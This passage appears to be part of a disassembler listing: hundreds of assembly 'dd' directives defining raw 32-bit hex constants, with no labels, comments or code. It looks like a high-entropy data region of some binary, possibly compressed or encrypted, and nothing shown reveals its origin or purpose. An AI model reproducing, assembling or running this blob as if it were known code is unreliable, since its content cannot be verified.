		dd 6F803027h, 8C099890h, 80C95F53h, 7B3D9A4h, 567A3845h
		dd 58D1F82h, 946060F0h,	0CE0375FEh, 0A2E867C5h,	4271FA52h
		dd 0CAA000F4h, 508D9894h, 29B926Eh, 0AC029C95h,	80469189h
		dd 0E830FA01h, 6FEC3533h, 0F9889040h, 0B071C33Bh, 0E2D0441Eh
		dd 0E55F6C26h, 0FF7CE0h, 0F13335FCh, 75F3B090h,	4401C898h
		dd 62167F56h, 0D6C84634h, 0DBBF0068h, 0BBCE3C54h, 5614A873h
		dd 3FD0C235h, 0E79080FEh, 0F30CF863h, 0B6F8A5h,	9F788DB1h
		dd 34182F5Bh, 4308748h,	0AF96F348h, 99F29CD0h, 0ABB70075h
		dd 0CB493EDAh, 9D008A62h, 9358D24Bh, 3EAFC9DEh,	890F9C83h
		dd 27607E38h, 3159B73Dh, 7B82C609h, 8D4707FDh, 8A09D190h
		dd 5D7E6F8h, 7E21A45Ch,	91EEC42Dh, 0F84B7518h, 0B03E8182h
		dd 0C8408B67h, 0D6A80037h, 28E4A0h, 9D17871Bh, 0D23C1D32h
		dd 5245F700h, 50C66D5Ch, 244892F4h, 2228ADE0h, 87301CDCh
		dd 5B40C039h, 0BC5526CBh, 0D267291Fh, 41D548C1h, 3330FAADh
		dd 47C801EAh, 3A4782Ch,	0FBB6C850h, 59C8CC60h, 1B252D0h
		dd 2F99CD31h, 6033433Eh, 6303C024h, 0C82797FBh,	0A1069882h
		dd 24A83014h, 0C08F6410h, 9CB72C2Ch, 0F9F25FE1h, 0C6AA007Fh
		dd 8137A0CEh, 13BCE800h, 1642086Fh, 0F9304F3h, 907E34BBh
		dd 0C772DDC4h, 0FD478F00h, 755AA38h, 2F0B9BFh, 2F93D16Dh
		dd 287B98C0h, 84D22D00h, 8A38EC07h, 786000E9h, 35873A56h
		dd 7C00DABDh, 0A083C9B1h, 0AF15B8h, 2CEC6619h, 0A1B4CB55h
		dd 0F9DA6001h, 0C3643893h, 0FE6A20h, 0CAFFBB1Ah, 799DBDEDh
		dd 103CC078h, 4A2983F8h, 0C8704436h, 9C7A5Eh, 0B239C46Ah
		dd 0EC287838h, 59A7FE03h, 0B08E011Ch, 7DC691h, 6B6576CFh
		dd 0BB362E5Dh, 3110EC14h, 0A63DACh, 0FABECE62h,	0D18280h
		dd 67C2C737h, 0EF8892DBh, 25203660h, 7058A4h, 563C2CDEh
		dd 2A67EDE8h, 0E0F7F100h, 0E5284A8Ch, 13EC7Fh, 0FDBBD3AFh
		dd 0D6C38119h, 49EE070Fh, 1CC496Fh, 0D12D263Ah,	0FB8C74h
		dd 448BB810h, 0CEBDA509h, 8C9284FCh, 85A62C00h,	0ECB19953h
		dd 763100C0h, 7EAAF155h, 0BD5C45DCh, 329A00F6h,	91CC14D9h
		dd 51F84Dh, 6D598746h, 3F2FF52Eh, 50E0BE07h, 674247A2h
		dd 1D6CC00Ah, 0A98C001Ah, 76CE4A63h, 0C4C7152h,	0E3D000CCh
		dd 7F22E1E9h, 0D7A072Dh, 37EE1659h, 8C4A4160h, 34A420AFh
		dd 7ED8985Ch, 3F336B03h, 0B7B00BD2h, 2DA4F377h,	0E0FC1083h
		dd 1155AFh, 4ACC6C8Eh, 48129F95h, 0BC362105h, 0DB00FBF8h
		dd 0CB8C6951h, 0C8D20065h, 2E09B2A4h, 0B658A979h, 0E2970096h
		dd 5CAF23D1h, 24460216h, 4F159D34h, 799C6048h, 0ADD78207h
		dd 2B60775Dh, 0B991D9h,	0A2151CDAh, 0D45370C7h,	0FCDCE300h
		dd 9DB5A832h, 23C31E8Dh, 277D80C8h, 47B3E17Bh, 2817562Eh
		dd 3F0DA207h, 97CF33F0h, 0C18004Dh, 655F5D3Eh, 16304396h
		dd 9E6A206Fh, 0EEE87840h, 0C2BA0497h, 807A3384h, 57A17479h
		dd 441F930Eh, 0D3B700CEh, 50EC4FFCh, 0D4E04Bh, 2882D758h
		dd 0F9D563EDh, 0D8A46B02h, 404056E9h, 42531E4h,	0A6BE24C2h
		dd 82C8C01Bh, 2B7B7EA0h, 5500A8B1h, 0FF0F9820h,	66C700B8h
		dd 566EE712h, 943C21ADh, 0A9BECAh, 795A4F64h, 0B0E0BFB0h
		dd 0BF10382h, 2F20F5A8h, 0CFB599C8h, 9B9E7800h,	7712A3CCh
		dd 0BC100087h, 424CC573h, 38009802h, 9C20E888h,	7D1A72A1h
		dd 29350F1Dh, 0DBA28B2Eh, 0AC403240h, 0BE072A82h, 0F23CA2D2h
		dd 63A6AE50h, 84E35C18h, 706CB400h, 2D4113FEh, 8FF51C3Ch
		dd 6001B890h, 0A2FFF929h, 92B13ACh, 0BB6E078Fh,	80AAC46Ah
		dd 0B4FD21ACh, 80F45A5Ch, 0D295FF67h, 3F7A07AFh, 0C02BA28Bh
		dd 0A5EA87CDh, 38329900h, 78AD0983h, 2810EE75h,	88D240h
		dd 185BA9A4h, 0DB865A38h, 372A680Eh, 35DDC331h,	41CDD0DFh
		dd 363F1C25h, 0C8580046h, 75C1D45Ch, 6A8FA00h, 0FD6B2AE2h
		dd 0B03A0016h, 298B91F6h, 7204B1E8h, 3D125641h,	50C37F85h
		dd 0DC6FA008h, 0EA7EA3h, 0B992C036h, 9F71A805h,	49802016h
		dd 752A00FBh, 578E2586h, 745D0A26h, 33850707h, 59A0F897h
		dd 46722C3h, 0EBFFCE4h,	0D3C891EAh, 0FE04747Fh,	1D463B58h
		dd 1C1D8BFDh, 6BFC19F1h, 0BDF04EF1h, 805F22B2h,	0FA5F200h
		dd 0E713D077h, 15680119h, 0C0384DFEh, 5B90FC47h, 0D7085E01h
		dd 4A1D74B3h, 32CFB8E3h, 6C3D0086h, 190FA3F3h, 0B80015A0h
		dd 0E7759FE9h, 0C07FA791h, 5DCE7360h, 3900FD08h, 0C37CFB9Bh
		dd 6A0309Ah, 7FD5DCC9h,	71E42975h, 7760E850h, 560B8274h
		dd 2E0DFBF5h, 7F93A0E0h, 0D105D7h, 9214FC1Eh, 4C388663h
		dd 485E9900h, 0E13272F2h, 10E0B4h, 0D07DB0C8h, 1FCF147Ch
		dd 0F08D6C03h, 0E1B22858h, 29E1895Ah, 1EF7430h,	332A5D03h
		dd 85BB5001h, 0EA19C938h, 28DE047h, 632F9031h, 5C433081h
		dd 9FF56935h, 0C14FDF72h, 13D877Bh, 1E600A86h, 391F6448h
		dd 1EA0E79Eh, 812F4FF4h
		dd 0F3C6D0B8h, 0B9D91A62h, 0D8E980A3h, 0A938DCF4h, 986AC88h
		dd 89F57CD9h, 7030D4B0h, 0E3BB50E8h, 0A45018EFh, 0D95AB05Eh
		dd 0AC580807h, 0A2B3130Eh, 0F6410732h, 22CA3676h, 0FCA07D68h
		dd 0BD5521F3h, 0FC0DBCE0h, 985076EFh, 420CD241h, 0A021F12Eh
		dd 0B1016060h, 7C6ED608h, 0EB70CD34h, 0A61501ABh, 0DC6A5C96h
		dd 0BAB180DDh, 10F94087h, 3A6B7F90h, 3800EB8Fh,	0AB54F74Ah
		dd 4F0C480Ch, 0A1331EC7h, 0A21B00EEh, 267A4D5Ah, 970734C6h
		dd 0B0318502h, 14002F75h, 6FAABFEh, 4B342812h, 609F7DF2h
		dd 0E5D179D8h, 0B600801Bh, 0EFF3CAC1h, 3E836A0Eh, 0CD07ED61h
		dd 0E38F9A5Ch, 0F4F036E5h, 8D24719Fh, 260AF940h, 0DC928C7Bh
		dd 0D42A4820h, 0DFEA0057h, 3B46E4C8h, 0C7EA5623h, 7AD7B300h
		dd 555082AAh, 93E500EDh, 0AFEE7FD9h, 0B700E7A7h, 80CCBF7h
		dd 30B8C6EFh, 35C0F53Fh, 0A7306B45h, 0FF8CD15Eh, 0E3B0004Ah
		dd 849D22AFh, 64C12F41h, 36A0EC91h, 64302982h, 0BB40FF65h
		dd 7B005C98h, 1D23BA81h, 72F379h, 0A31EEF05h, 203DA6Fh
		dd 5B297300h, 0D4DB7BBAh, 0F1E60496h, 823FEECCh, 31E0B480h
		dd 0D00847Dh, 70688A6Ch, 0C315CBEh, 0D75301A9h,	0ED002388h
		dd 378F9986h, 23C6E0Ch,	4D8D40ABh, 4973FEAh, 18880861h
		dd 1551097h, 0EB9FDA20h, 4D8CF4FDh, 3768100h, 77089335h
		dd 395C1D45h, 29D6D955h, 44CB0891h, 1084FB6Bh, 21D96AF5h
		dd 0C223975h, 0B8E4F44h, 73BD42C6h, 1BC8FB83h, 66BE97C0h
		dd 30F0F13Ch, 468C2181h, 1FCB0073h, 5A0E40CDh, 0F23D32E7h
		dd 114C3Dh, 31231465h, 15EA1A7h, 0E635D49Fh, 57BD8AEFh
		dd 0F9623C0h, 0D330ABE0h, 0E9FBD100h, 0E240115Bh, 0C43B1E65h
		dd 822B00E0h, 0E56CD05Eh, 518C9200h, 2D03B1F4h,	0F1430041h
		dd 1A4FFE24h, 0D81C6C4Ch, 0E9407B59h, 0AFDE3D3Bh, 5A7A006Bh
		dd 515B7330h, 0D300E4C1h, 7B051B60h, 74EBF811h,	1DC70059h
		dd 0FE29CF67h, 5B1A84E0h, 83306523h, 0C2B69C6h,	153EED18h
		dd 0F7006631h, 80831B50h, 5B5AAAh, 89174936h, 539CAD5Eh
		dd 28BC7900h, 0EA4EF418h, 0BDB7301Ah, 326A6F84h, 6699DE07h
		dd 0F090B8EDh, 1BBA298h, 9D615991h, 0E0AA11A4h,	0C3EAA192h
		dd 437C900h, 9B1CFBC5h,	0F810043h, 0F1C155E7h, 5F00DD0Ah
		dd 34A730FFh, 0D7A056h,	0A827198Fh, 85593CC4h, 8E880500h
		dd 0E72974C9h, 3D59058h, 0FC3F17A6h, 87A06804h,	0A400BA52h
		dd 501CF2Ah, 7EFE7F7Ch,	0E6DF00CDh, 502608B7h, 0BD00BF5Eh
		dd 615A82Eh, 3D0154A4h,	94898030h, 4580A0D1h, 0AD2B02CDh
		dd 0FB38B03h, 0F8B710D5h, 0FEF475BBh, 0F3070DEh, 0F5052E68h
		dd 98C0B800h, 62E0BFD7h, 0C0074E6h, 0D5714DEEh,	668E68h
		dd 23E9BA50h, 358761D8h, 0F808A00Ch, 472125h, 59D072E3h
		dd 0CB28DCBEh, 0C2F9A000h, 542BB86Bh, 0A35A0064h, 0A751D64Ah
		dd 1603952Eh, 6E962FD9h, 9B80B063h, 66D30079h, 0F2B6AFA0h
		dd 8900D951h, 9BD9AF1h,	0F7ECDFh, 0DE451EA9h, 27371BD1h
		dd 3383ED00h, 0AA96B5C8h, 0D847055Fh, 0B0F7BF7Bh, 0F312DA76h
		dd 1400FB62h, 84A1C31Bh, 49283916h, 0E6BF91Dh, 0D6A01080h
		dd 8C2A998Fh, 0CA6F081Ch, 128A500h, 0FEA62Bh, 8532C325h
		dd 2F6D53EBh, 0E6EEC70Fh, 0CD75C03Bh, 0DA594h, 0B4E44102h
		dd 28D7FDE5h, 54B9E900h, 8166FA03h, 771E00E2h, 1B6C63D5h
		dd 6E005E17h, 6A1047E4h, 905CA1B3h, 518D00EFh, 6F42AFEDh
		dd 35007240h, 977DECFh,	9D1CB46h, 0AF1E214Bh, 0C305CA04h
		dd 0C0FF957Ch, 23B22756h, 0BD8CCC38h, 885C0148h, 75C2B8BDh
		dd 0FFE82080h, 7733E20h, 0C0D72600h, 0D0A78530h, 0C80F0097h
		dd 0EA43CBB7h, 0D80086CAh, 0AA75F5CEh, 4C99B158h, 63005921h
		dd 4EE0901Eh, 7A008C3Bh, 3CB2A27h, 1CE8AFDFh, 40F00ED2h
		dd 70FC78F2h, 0FA00C0D3h, 7BE41125h, 0AFCC3Ch, 0EC5E356Eh
		dd 509A9D7Ah, 66C4EA00h, 0F7058A47h, 0FF9500FBh, 0AB142904h
		dd 5300E5E7h, 0D9D07ACh, 7CCDD92h, 0A020EBD0h, 219F205Dh
		dd 0FB007F6Ah, 0BEEFA535h, 0FEC0C4C6h, 160EEBAh, 99D2210Fh
		dd 204B67ACh, 3200ADFDh, 71CA4D2Ch, 0B4A2FCh, 0B8D83015h
		dd 67AE5329h, 3261C000h, 82A738F0h, 588E73C1h, 0A203C7CBh
		dd 86EEB37Fh, 0FC09B5E0h, 31FA2498h, 0DE1FFE00h, 4CD988F8h
		dd 61AE0BEh, 4386FADFh,	0DB002166h, 0D6C6705Ch,	9B45663h
		dd 0DC671494h, 8D4CA400h, 0C4E40B6Bh, 86008F90h, 0CEB305CDh
		dd 7E5D1D92h, 52FB0174h, 7C91C8EDh, 0F812F5ACh,	3CF8A8D6h
		dd 2D14DE00h, 991A19CBh, 0EBA4264Dh, 6EE900E8h,	7450FAAFh
		dd 0D6257301h, 0A7C9315Bh, 2D18FCh, 37042C61h, 3CAAF1BEh
		dd 0B21A8000h, 4F743848h, 0BBC73EDEh, 3D59F607h, 4CBF409Bh
		dd 0E7006E1Bh, 7639ABE6h, 4CD98D87h, 800074C4h,	2623D03Eh
		dd 5500DEDBh, 0C2E3421Dh, 0ABF2C9h, 51FF2C9Bh, 98C45D06h
		dd 600E17EAh, 60FD6391h, 0D1F692DDh, 0F4BC178Ah, 911202h
		dd 2A9FCD3Ch, 2C0E5EFAh, 0C1F63E06h, 0AA55F2C5h, 0A1B0D1CBh
		dd 172093h, 1CC5B38h, 0C20F7D72h, 602DC58Ch, 908848EDh
		dd 6F7904D8h, 0C0AE6495h, 2C15EA3Ch, 829658h, 72DA3FFAh
		dd 2B7C36h, 0AAEDA20Dh,	0E58F9C04h, 0EE7D5B1Dh,	0AD3ABC40h
		dd 4479C1h, 6BB70B1Dh, 29A926F1h, 56726500h, 0D7051CD6h
		dd 1D7B0254h, 0F17E8F98h, 0B5DB3463h, 9BE032C0h, 0FC1548h
		dd 25DE0375h, 70BF185h,	56F846BDh, 0EEC7753h, 74D1C580h
		dd 3600CA5Bh, 0BCA2968Bh, 5DD81h, 1860776Ah, 2AF79950h
		dd 0CD66FD12h, 0B2169201h, 0A8E0DE87h, 5911007Ah, 3440B543h
		dd 9707234Fh, 245C9242h, 10809BE4h, 2EA75829h, 0BCCF328h
		dd 14004116h, 7760482Bh, 2136A431h, 70F02EBCh, 9129FA3Fh
		dd 3D030078h, 0ED1273DAh, 0C7CFF302h, 60FC52CEh, 0D5691Ch
		dd 0C8648DCCh, 4C67773Ch, 0C2031FE8h, 0A9EEE47Bh, 40589ABAh
		dd 9CD3784h, 0C3216CFCh, 0F7C7D602h, 0BE15C3C0h, 1CFD73Ah
		dd 1EDD5049h, 91D0F1B9h, 3DF300ADh, 8ED242A9h, 300E6FDh
		dd 0D3D956E5h, 7010465Eh, 307E7C84h, 236476FEh,	2E00174Bh
		dd 0A1FD02BEh, 5AE45Fh,	3506A87Bh, 62D7A949h, 545E6A00h
		dd 294D7E10h, 0DB0113A2h, 0C0FD1EE0h, 38731BBCh, 0D0077AFh
		dd 5BC5DDD1h, 9E4CD0Ah,	0FA7FED3Ah, 5EBBF480h, 0BE48BF21h
		dd 89767E0Dh, 9B6D900h,	545FCE71h, 98D60083h, 0BB93829Bh
		dd 9C01A555h, 78FD8FF9h, 0E7D8602Ch, 958526F7h,	8E3F1230h
		dd 0A087B100h, 0B1E60109h, 0C4E5C8BDh, 155AAC1Fh, 0A3401880h
		dd 0D3CD12h, 0BE8E27F2h, 0B25163F7h, 0CCC1E83Dh, 0DCC000F8h
		dd 39EDE51Ah, 5B8E00E1h, 50808929h, 6B00C64Bh, 0D8618CF3h
		dd 0F154C4h, 98E33B5Dh,	213A90BAh, 0A06CFB00h, 745C32E1h
		dd 0B99407F6h, 0D0B67E65h, 76D0A816h, 0E1C86000h, 7AA21758h
		dd 0F7C500EAh, 727452ABh, 2F00CD82h, 0CE24153Eh, 1E02A880h
		dd 40633516h, 85FF01D8h, 424A46FCh, 0ED33E800h,	0F324819h
		dd 5AB363DAh, 3D4E9F40h, 0F8002A07h, 30413A95h,	809890h
		dd 43646761h, 79AF84BAh, 2EA16000h, 924A2DB5h, 0DDE33B7Ah
		dd 30EBA014h, 5EE9D217h, 0D4C80498h, 0AEBC0AEh,	0B41E24DBh
		dd 10A8C47Fh, 42866A00h, 0DB08BB17h, 77D0FD2Dh,	21DC4014h
		dd 3A0AE40Eh, 9D760E7h,	0E893D9h, 0D54B8401h, 37EAE9B5h
		dd 0C0BC200h, 1052F269h
		dd 26180021h, 8FE3208Eh, 0D100E84Ch, 3408BC85h,	20AB18Bh
		dd 0E726519Eh, 98583539h, 6922990Fh, 29F300B2h,	1E3A27E3h
		dd 0D463E2B9h, 50036CA8h, 0C26D2C85h, 20F10CC0h, 0EB220E00h
		dd 0A4AD7E5Bh, 0BC709FB8h, 422E0A00h, 0BA26C78Dh, 9335006Fh
		dd 0F94DB5EAh, 100EDFBh, 413EFF66h, 31A17Dh, 862BE097h
		dd 0CD85D95Eh, 247CB158h, 55807C98h, 0DE8A568h,	5009ECD3h
		dd 0F20483Ch, 0B1477407h, 80A821CAh, 4204293Ah,	6C79CDEBh
		dd 0F4580500h, 0C3C4A290h, 135301D4h, 910EEA4Fh, 8C498044h
		dd 0DDED555Dh, 5A7E0093h, 0C5B903DCh, 680C071Dh, 2894EC4Ah
		dd 0FCE8004Dh, 0CAE6660h, 0FF004125h, 2EE02C59h, 5080EECBh
		dd 0F5C463h, 0E6C872ACh, 0C3B6B371h, 2593001h, 109983E0h
		dd 0F63F8083h, 0A3B0F3FEh, 410E7C46h, 40F837F7h, 618F56Fh
		dd 74AD009Bh, 7C8BD2B3h, 82001A64h, 0EA77D49Dh,	0D1B999h
		dd 70CD17C9h, 0BEB96C4h, 16285BE8h, 0F079C27h, 3FA99C75h
		dd 1AF9C360h, 6BEC07FBh, 0A33C4D8Bh, 42806A22h,	11CA263Dh
		dd 19540427h, 103B2A8Bh, 1326D45Fh, 6042D5E5h, 27005C30h
		dd 0BD011635h, 639516Ah, 495AC1B2h, 0BAFC293Ah,	965C4700h
		dd 8F0217Ch, 33E400A3h,	30BBB77h, 0E31EE58Ah, 6016658Dh
		dd 9A48EB00h, 48AC52CDh, 0FC00B2E6h, 5F3A74FAh,	50129CCh
		dd 4333E732h, 0A7C81227h, 8DA500AAh, 0BB5FADE4h, 0A600C76Eh
		dd 91242151h, 0F2091C20h, 83E70E28h, 360FDC4h, 0A735F49Ah
		dd 9DE4B0FEh, 7100D0F6h, 0B8CF338Ch, 0BCEFCEh, 6AC675C2h
		dd 0B5B68028h, 84172200h, 57504A53h, 64703C09h,	8C20ED00h
		dd 24741187h, 48F898A0h, 16D20B1Dh, 0E6E8AA87h,	6C5AE300h
		dd 0A98F00D7h, 417F6260h, 0A8005397h, 0CF59F740h, 0B01FDCh
		dd 0D9285A5Bh, 0B4A2D4BCh, 807B6300h, 0CC7014FEh, 1F2CF61Bh
		dd 4274B60Ch, 0D120E24Ch, 0B4CDB260h, 241EFD00h, 0A6E4628Ah
		dd 37C45852h, 8CB7ED00h, 799DEB2Ah, 5A743Eh, 0DD1ACEEAh
		dd 0DB3417h, 8B692CA6h,	875013ADh, 1E03E901h, 0ECD89755h
		dd 73ECEDFDh, 8E148FCh,	23DACC00h, 6024B6E7h, 81008C98h
		dd 5BF71F62h, 7287EBEh,	0E322638Eh, 801A4753h, 17DC0FEh
		dd 9C03517Ch, 0C4A9AC61h, 0B478B10Ch, 0FEE4F70h, 9A6E5F44h
		dd 5BE30800h, 81007257h, 2A5A8614h, 756EE0Fh, 7D046EE6h
		dd 7AF85055h, 6603104Ch, 3FE0B8B4h, 54778858h, 7DA73E96h
		dd 13440076h, 69F2C533h, 6F00719Ch, 0A49A4732h,	5456718h
		dd 0D5B7493Eh, 0F1DC404Ch, 4060B089h, 43D62000h, 481B46E4h
		dd 0CB830007h, 0B1AC9215h, 0F9008960h, 0B556374Ch, 25E4D7h
		dd 0C464AFE5h, 0D2437C8Dh, 2F50820Fh, 0E2E9EFD8h, 801E9AA7h
		dd 61832BF3h, 0B6882E11h, 3E8F3B60h, 0E620B49Bh, 12FFC7C3h
		dd 84009578h, 0DBB279BDh, 1FC1087h, 0FA18B08Ah,	0D0F9A68Eh
		dd 6971FE48h, 1C91EC4Ch, 65C2973Ah, 8029A701h, 4C2FE9ACh
		dd 6B700081h, 7207786Ah, 7912F265h, 0E4008E36h,	538C7D11h
		dd 2CE4EFh, 8AA25706h, 72768B71h, 63F3CA24h, 3D8C1A03h
		dd 0F6CE9063h, 110900AEh, 0B64B5C30h, 2D00B99Eh, 7977C4AFh
		dd 0C78ACE57h, 818D3E50h, 804989C5h, 52E1C118h,	2C3F2h
		dd 88EBAABCh, 4A443EBAh, 1376A48h, 0D86D4D25h, 0AC604890h
		dd 640A26F7h, 7A28F38h,	1A7B7143h, 776884A8h, 0D3AE4304h
		dd 0CC809D29h, 3D246C1Fh, 30E6970h, 1329CDDh, 78C310D0h
		dd 5E98E7A9h, 4A00620Ch, 5D0AD4EEh, 0F31B45h, 4D697ECCh
		dd 2624C311h, 0A3D14901h, 22A22875h, 0FCC07C30h, 6155002Ch
		dd 47946BB6h, 0D2008F53h, 120F64A9h, 82A1D3h, 0BCC2DCAEh
		dd 758CB914h, 44718F00h, 2E49ED32h, 9F71E6h, 6D6BCAC4h
		dd 248CA4C1h, 5F764A00h, 0A0F342A1h, 1550C0B0h,	0ADF995B6h
		dd 1A02977Eh, 0ABE5B9D2h, 61C468BCh, 0FC2001Bh,	5486B0AFh
		dd 0B500DB4Ch, 827ED0F7h, 90DCFA26h, 0E145263Dh, 9C4600CBh
		dd 0F609FD86h, 0F400A9B0h, 2211ECBDh, 51F4112h,	26F246A0h
		dd 0E68D01A7h, 0FD5BADE2h, 4E60E6D1h, 0FB00301Bh, 0A12866BEh
		dd 0D01A8Ch, 9E5DFA1Eh,	53E94BC1h, 0C3D9E800h, 371C1D14h
		dd 898B03DAh, 9EA3A15Ah, 0A8052CB0h, 0EEFA6500h, 9748E378h
		dd 0BF76FBh, 1F11B529h,	9CC2C1E8h, 95E04A00h, 0D4639D9Ah
		dd 0E7390071h, 0A512B3D7h, 0E10341DFh, 6C4A774Ch, 0C126A094h
		dd 4110903Ah, 0B51824B9h, 676A88h, 27B20513h, 0CB41A260h
		dd 44C02100h, 0C45C4F35h, 1ABB006Ch, 5EE96234h,	7F008259h
		dd 414265E7h, 4E712Ch, 0C8777C5Ch, 6BD48FF4h, 2529061Dh
		dd 0C5B176C0h, 17D99F1h, 0E26C7092h, 0C0B7CD88h, 0D600B9A6h
		dd 0B0742D2Fh, 0CAFFEFh, 829E4C9Ch, 0BD461294h,	92295F00h
		dd 3C6AD991h, 0F1E90034h, 6B2C89D5h, 9403C0FAh,	921D9F54h
		dd 0AE4A888Dh, 29B824EDh, 22730000h, 35D67A7Dh,	6E2A2D02h
		dd 0C0054708h, 3CAB6D3Ch, 9380BB3Dh, 0E3E423DCh, 3000045Fh
		dd 0DB6BA369h, 0E651E2h, 349E6716h, 0EB2EFA55h,	90E390Bh
		dd 0E8F42306h, 71ECCEEh, 0E02EB89Fh, 9DD44633h,	0A3B2BE06h
		dd 18213B63h, 39FBCD07h, 6F0EEEA1h, 80B0CFE1h, 0E47EB76h
		dd 21EC607Fh, 0C73AFDBDh, 0D700137Dh, 0F8E955AEh, 0DB4AC9h
		dd 487EF6E0h, 0A271FB81h, 0B6D64F00h, 8936BC2Dh, 0FCD00096h
		dd 9A11DA7h, 6009C6Bh, 0D78D9597h, 1EFDBE37h, 0BE2E8B72h
		dd 71ED8A18h, 6F1DE8EBh, 8F4F0526h, 0A5CD21F9h,	0D5202297h
		dd 0EDF647h, 0E99DAF32h, 963BC902h, 209AD9CCh, 2E310ACDh
		dd 50C7D6Ah, 46BF4DA4h,	0C803C7C4h, 36D18E1Ch, 0D9F88441h
		dd 0FF706658h, 0EEE780Eh, 3D23D44Ah, 125140E0h,	90E29126h
		dd 0E81A4200h, 0C7842516h, 665F07D9h, 0A01BADBEh, 0AF7B2CF6h
		dd 89B98109h, 69D98015h, 0B75A62h, 83EF933Ah, 0E17EAED0h
		dd 6308F300h, 91A1D168h, 0B259005Fh, 2F5B323Ah,	90B86FB4h
		dd 0A7384900h, 2BED9918h, 0C77B0E4Dh, 2580BC90h, 0A6167A64h
		dd 6BE6D000h, 2848A87Eh, 5E671DCAh, 72E8705Ch, 0B551D58Dh
		dd 7AAC149Ch, 545F0C04h, 251001h, 0D413C6F0h, 2B90409Ch
		dd 0A7F9FF00h, 9A518067h, 42E3F6Ch, 77DDD581h, 0E811A072h
		dd 3200CC2Dh, 0F48CC869h, 4A985A2h, 629ED675h, 0A7458053h
		dd 7F0021CEh, 12B6CAF0h, 192D6FF3h, 21A4BEA9h, 2C48F090h
		dd 84894Dh, 0BB244613h,	213379h, 0DC423F1Ch, 4C3205CEh
		dd 66BC4100h, 0A76F9E63h, 0C6520093h, 6D0FDB8Ch, 95048B28h
		dd 0E742B399h, 32013180h, 0A19F2C72h, 30FC00A4h, 4473C693h
		dd 1CBEE700h, 5EDACDADh, 48140142h, 8445615Dh, 0E84DE17Dh
		dd 6D308124h, 0F4B389C4h, 0B648001Fh, 0F1DEF955h, 9E753EABh
		dd 3D46A59h, 0FAD88EE6h, 17110028h, 559E2BB2h, 2900A48Bh
		dd 0AB2E7F08h, 0AF6FC0h, 13DEA195h, 41F583AEh, 4C307700h
		dd 2E8692BAh, 2D2A02CEh, 240FA847h, 13F5D880h, 254AEE4Dh
		dd 4C56A000h, 0EC3449h,	6E2726Bh, 194DF6A7h, 8033F300h
		dd 3E33578h, 0A998A0A8h, 1FEE0F21h, 9C40FE1Ch, 0E3562797h
		dd 2D72C200h, 0E8806E7Ch, 45AE2546h, 0CEFF4480h, 0F70FEFF5h
		dd 80014A27h, 0E3371362h, 0B11D000Eh, 76252220h, 0B0001819h
		dd 662CCF2Dh, 0FD4B42h,	0F451C30Eh, 0B3F54C53h,	9F014900h
		dd 3316C10Dh, 0EC5F68Ch, 0DF8D258Ah, 340BCFC0h,	28011912h
		dd 0E966D85Fh, 4DF4FD35h
		dd 61D900ACh, 3DFC5E36h, 0F8008045h, 8F11ABCBh,	0E4BA571Bh
		dd 0BD1400AEh, 3585AF49h, 0E7F0EC0Ah, 0AC18C800h, 0B38F09E9h
		dd 0B0565023h, 2FF10352h, 0ABBB9622h, 9A64C498h, 0CACF704h
		dd 8C8086BFh, 0BB188F5h, 0E793054Bh, 0CF25C001h, 5459F009h
		dd 0A44E1F00h, 2EC420C7h, 7AB80014h, 7F34B063h,	971E3187h
		dd 7ECE8E6Ah, 0A00F3E2h, 0BA62AB4Bh, 8C7E27h, 24BDE623h
		dd 6DC20560h, 7F2F4E0Eh, 2A69C0CAh, 58E05FBEh, 66031CDCh
		dd 57BCD858h, 0A2B27880h, 0B5F66E00h, 0F8D7483Bh, 0D53200E3h
		dd 4E948887h, 7924AD62h, 2601ECEDh, 5EF94A48h, 6AA7B440h
		dd 792434Eh, 0CBAD5A53h, 0D47B805Fh, 0B8072CBFh, 0C6B70028h
		dd 8B115D7Dh, 4803D674h, 0CA52EE6Ah, 0E892DBDAh, 0E26CA436h
		dd 7581015Ch, 0B0DCD93Eh, 5998EF65h, 107A9791h,	0A2B1FF1Dh
		dd 0A9134D40h, 8A36F4h,	0CDEF3D7Bh, 0D120F7B2h,	910C3801h
		dd 724EE4F5h, 364C34h, 1105F2C3h, 44B534Dh, 0E0885D24h
		dd 32C82980h, 0E23597E8h, 0B4683824h, 15838780h, 0F76807Ch
		dd 5A262E00h, 9E4BB008h, 5BCA0629h, 90C01D46h, 0DDCE3200h
		dd 0F1038195h, 0A70C00D0h, 0B48A7A4Eh, 7D070E14h, 8B499BA5h
		dd 6B637070h, 74E100EBh, 5995387Ch, 0BB016F9Ah,	6E648F0Bh
		dd 25CCD165h, 0CA8B0FA0h, 0DB607E3Dh, 0A2620C5Dh, 0AEFD4900h
		dd 8D69BACFh, 1F5600B1h, 0F345C1B0h, 0A0725C65h, 55CFA400h
		dd 994EA603h, 0A5783Fh,	65DF408Eh, 0DEC75739h, 0B6E53200h
		dd 626ECEBBh, 562F044Ah, 0E074AD55h, 0BD03051Ch, 1776B0F4h
		dd 0A41D9DD7h, 6CC05792h, 7AA5AE3h, 0EA06F739h,	0F1F23180h
		dd 54A8C8B3h, 9005DF8h,	3F3ACF4Bh, 321848h, 0C289AE2Fh
		dd 0B28B84CCh, 0C038179h, 0FD8FAD4Ch, 0CE9FB061h, 7AF01F44h
		dd 0A4E20E6Fh, 0DBBDA820h, 550027B8h, 5383A55Eh, 0E4410297h
		dd 0F2B40E4Dh, 0C8E046ACh, 0DCE435B9h, 0E2876905h, 0FC0E2158h
		dd 68C7E0A5h, 0A09055C4h, 1493F1F8h, 835F6A0h, 3C87CA2Eh
		dd 0CD53828Fh, 0D93BC35Dh, 28009024h, 6DFE54E0h, 1F9EFACFh
		dd 40EE4F4Ch, 0D655EB4Dh, 32F23E8Eh, 415EDF01h,	22B1FB16h
		dd 16E4EDF4h, 0FD4AE06h, 0B3E2CB04h, 60F5D8A2h,	3A762A8h
		dd 4448B7B8h, 0C5DCF9E3h, 0C0301D10h, 1EC3FC7Fh, 0D717E76Ah
		dd 91004CEFh, 0F8D00998h, 0D8F200A4h, 8FD5BD58h, 0D44B2C10h
		dd 0FB004C13h, 93F3EF14h, 0EA720061h, 7906B26Fh, 1D054957h
		dd 0FEBE5F8Ah, 20618000h, 0FDD2CCh, 267843BFh, 81737035h
		dd 0EBFECA00h, 30FA7EBDh, 0F2CE0036h, 91318208h, 6F099CF0h
		dd 874CD71Bh, 98A03820h, 466056Bh, 6148472Bh, 932D80B8h
		dd 2F003CB5h, 44EFE663h, 9A9262h, 523F9D1Ch, 39E00E51h
		dd 80BB773Bh, 14A5DF74h, 386808A0h, 0D5076BA3h,	31F5E08Dh
		dd 219352CEh, 64703005h, 516C7D00h, 0A9CFB0CCh,	0F4E01D0h
